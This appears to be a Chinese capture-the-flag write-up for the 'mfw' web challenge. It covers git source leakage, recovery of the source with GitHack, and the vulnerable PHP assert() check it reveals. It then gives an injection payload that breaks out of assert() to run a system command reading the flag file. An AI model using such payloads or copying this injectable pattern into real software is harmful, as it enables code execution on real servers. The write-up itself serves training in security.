攻防世界_web进阶篇_mfw

一个git源码泄露题目

git源码泄露

打开容器,页面如下

在这里插入图片描述

点击About,提示git源码泄露
在这里插入图片描述

在url后面加上了/.git/,证明了这一点
在这里插入图片描述

然后使用工具进行git源码下载,工具:https://github.com/BugScanTeam/GitHack
在python2的环境下进行源码下载

python GitHack.py http://111.200.241.244:59908/.git/

在这里插入图片描述

最后在./dist文件夹下得到源码index.php和templates

源码分析

//index.php
<?php

if (isset($_GET['page'])) {
    
    
	$page = $_GET['page'];
} else {
    
    
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");//strpos函数是查找..存在的首位置

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

然后就是templates文件夹,知道了flag.php的相对位置,在./templates/flag.php中

在这里插入图片描述

构造payload

在index.php中,我们发现了一处可利用的地方

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");//strpos函数是查找..存在的首位置

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

因为本题没有对我们传入的page参数进行过滤,所以我们就可以进行代码拼接,然后注释掉后面的冗余代码
payload

?page=') or system("cat templates/flag.php");//

在这里插入图片描述

Guess you like

Origin blog.csdn.net/RABCDXB/article/details/121298166